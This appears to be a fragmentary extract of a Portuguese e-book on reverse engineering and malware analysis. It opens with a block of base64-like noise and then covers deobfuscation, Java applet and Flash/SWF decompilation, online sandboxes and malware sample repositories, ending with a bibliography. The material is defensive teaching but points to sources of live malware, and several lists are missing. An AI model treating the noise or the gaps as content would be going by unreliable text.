+ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo
Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm
P903RmzBTexozXtM+2dZxqBJjP3Fjgcj0+rbjH5T
Vga//j9/sQOt3x5rbYOS4l3xq5Aw+u0EW2Tw0TXt
DkuKLyk/nDZEMG2oNUyWpA8A8eHZdOrD6v9ixfGo
Y/RHZstsakgXx6lBKiuw3CZbTDLNBwIZx33GUh7Q
LIBCV4UCt1oI7EJSweSB1Tb77Fd2otn2xBrqrGUN
mdZsGrZNqJOlveLRboWd7VXr796949UxluhSZyfo
Z09jHUtjY9sYsgeNDQAVYw1oMBt1xtqIjSytz3r6
CoPq+1oPeJBdX11qLOWbq6v5hm6sLmsNrdHINgzj
...
Ofuscação utilizando várias camadas.
Assim como o JS existem vários sites que fazem a desofuscação de código, para citar
alguns:
Applet é um mini programa escrito em Java que é embutido dentro de uma página HTML.
Uma estrutura básica de applet seria assim:
Engenharia Reversa e Análise de Malware | 178
<applet
code=”AppletJava.class”
archive=”Arquivos.jar”>
Vemos que dentro da tag applet há duas tags: code e archive. A tag code diz o nome da
classe (entenda-se programa) a ser executado e a tag archive especifica onde está essa classe e
todos os outros arquivos necessários para o applet funcionar.
Na tag archive é esperado um arquivo .JAR onde ficam “zipados” todos os arquivos do
applet. Por fim as tags param são os parâmetros do applet, esses parâmetros são utilizados dentro
do código. Por exemplo, dentro do código do AppletJava.class pode ter uma função que pegue o
valor do parâmetro malware e faça o download.
Para descompactar um arquivo .JAR basta utilizar o WinRAR, WinZip ou outro utilitário
comum de descompactação, vão ser descompactados vários arquivos e dentre eles o .class.
Arquivo .class é um arquivo bytecode Java, ele é gerado a partir do código-fonte Java, não é
compilado, o bytecode seria um estado intermediário entre o código-fonte e o compilado. Como não
é compilado o .class é passível de “descompilação”, ou seja, é possível recuperarmos o código-fonte
Java original.
Um site muito utilizado para “descompilar” arquivos .class e que apresenta bons resultado é
o www.showmycode.com. Basta submeter o arquivo que será apresentado o código-fonte original.
É comum encontrar código JavaScript que é utilizado para criar um applet no HTML do site
invadido.
Arquivos Flash também são utilizados com propósitos maliciosos, às vezes ao invés de
construir o layout do site de phishing com HTML, o atacante opta pelo Flash. Arquivos flash
possuem a extensão SWF e assim como os .JAR também são embutidos no HTML.
Além das funções gráficas, arquivos flash também conseguem manipular dados dinâmicos
em web site, assim como uma linguagem de programação.
É possível fazer a engenharia reversa dos arquivos SWF do Adobe Flash, existem vários
descompiladores que fazem isso e conseguem obter praticamente o código-fonte completo do
arquivo.
Engenharia Reversa e Análise de Malware | 179
Quando um swf está sendo utilizado em uma página web para manipular conteúdo
dinâmico, como por exemplo, preenchimento de formulários, dentro dele há a linguagem de
programação ActionScript para realizar esse trabalho.
Então no nosso caso o interessante é fazer a descompilação do SWF e localizar o código
ActionScript, porque ele que estará sendo utilizado com fins maliciosos.
O site www.showmycode.com também consegue fazer a descompilação de arquivos SWF e
apresentar o código-fonte do ActionScript. Além dele há uma ferramenta bastante completa que faz
esse trabalho, chama-se Sothink SWF Decompiler. Não é gratuita mas há uma versão trial que
pode ser utilizada por 30 dias, o que já é suficiente para se fazer uma análise.
Todas as tecnologias que vimos muitas vezes são utilizadas em conjunto, umas chamando as
outras e com várias camadas de ofuscação de código em cada uma. É importante entendermos como
cada uma funciona para conseguirmos rastrear todo o malware. Nesse Lab iremos ver vários usos
dessas tecnologias com fins maliciosos.
Material necessário:
Existem inúmeros sites onde podemos enviar arquivos para serem analisados, alguns fazem
a análise dinâmica do arquivo, nos mostrando as alterações no registro, no sistema de arquivos,
processos criados, atividades de redes, dentre outras coisas. Esse tipo de serviço é conhecido como
sandbox. Já outros sites apenas dizem se o arquivo é vírus ou quais antivírus têm assinaturas para
ele, esse tipo é conhecido com AV-Scanner ou Multi-AV Scanner.
Devemos sempre nos lembrar de que esses serviços são públicos, então qualquer arquivo
que for submetido ao site pode ser disponibilizado para qualquer um. Caso esteja lidando com um
arquivo confidencial, não é recomendado enviar para esses sites. Para tirar dúvidas e obter mais
informações, leia os termos de uso do próprio site.
Segue abaixo a lista dos serviços on-line, destacados em cinza os mais conhecidos:
Abaixo segue a lista de alguns locais onde é possível fazer download de amostras de
malware para estudos. Lembrando que são malwares reais e devem ser analisados com muito
cuidado em um ambiente controlado e seguro.
Malware.lu – http://malware.lu
Mantido por pesquisadores de segurança, atualmente fornece mais de 5 milhões de
amostras de malware para download. Necessita de registro e explicação do porquê você
deseja acessar o repositório.
VirusShare - http://virusshare.com/
Mantido por pesquisadores de segurança, atualmente fornece cerca de 8 milhões de
amostras de malware para download. Necessita de registro e explicação do porquê você
Engenharia Reversa e Análise de Malware | 183
Clean-MX - http://support.clean-mx.com/clean-mx/viruses.php
Rica fonte de URLs maliciosas com informações detalhadas de cada uma. Permite
pesquisa por diversos parâmetros.
Mais informações de locais para coleta de malwares pode ser encontrado no links abaixo:
http://zeltser.com/combating-malicious-software/malware-sample-sources.html
http://contagiodump.blogspot.com.br/2010/11/links-and-resources-for-malware-samples.html
Engenharia Reversa e Análise de Malware | 184
Referências Bibliográficas
Esse trabalho só foi possível graças aos livros e sites que disponibilizam informações
atualizadas para pesquisa de malware. Ressaltando que não há nenhum livro relevante na área em
português, todos são em inglês. Abaixo segue uma lista dos recursos utilizados, no caso dos livros
estão ordenados de acordo com a relevância que tiveram na elaboração desse material.
Livros
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Author: Michael Ligh, Steven Adair, Blake Hartstein, Matthew Richard
Publisher: Wiley; 1 edition (November 2, 2010)
Gray Hat Python: Python Programming for Hackers and Reverse Engineers
Author: Justin Seitz
Publisher: No Starch Press; 1 edition (April 30, 2009)
The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
Author: Bill Blunden
Publisher: Jones & Bartlett Learning; 2 edition (March 16, 2012)
The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler
Author: Chris Eagle
Publisher: No Starch Press; Second Edition edition (July 14, 2011)
Sites
http://windbg.info/doc/1-common-cmds.html
Segurança Remota
http://www.segurancaremota.com.br
Free Malicious PDF Analysis E-book « Didier Stevens
http://blog.didierstevens.com/2010/09/26/free-malicious-pdf-analysis-e-book/
KrebsonSecurity
http://krebsonsecurity.com
Linha Defensiva
http://www.linhadefensiva.org
MSDN Library
http://msdn.microsoft.com/en-us/library/ms123401.aspx
OpenRCE.org
http://www.openrce.org/articles/
Registry Hives
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724877(v=vs.85).aspx
Reverse Engineering
Engenharia Reversa e Análise de Malware | 187
http://www.reddit.com/r/ReverseEngineering/
Rogunix[dot]com
http://rogunix.com/docs/Reversing&Exploiting/
SecureList
http://www.securelist.com
Tuts4You
http://tuts4you.com
WinDbg
http://www.windbg.org/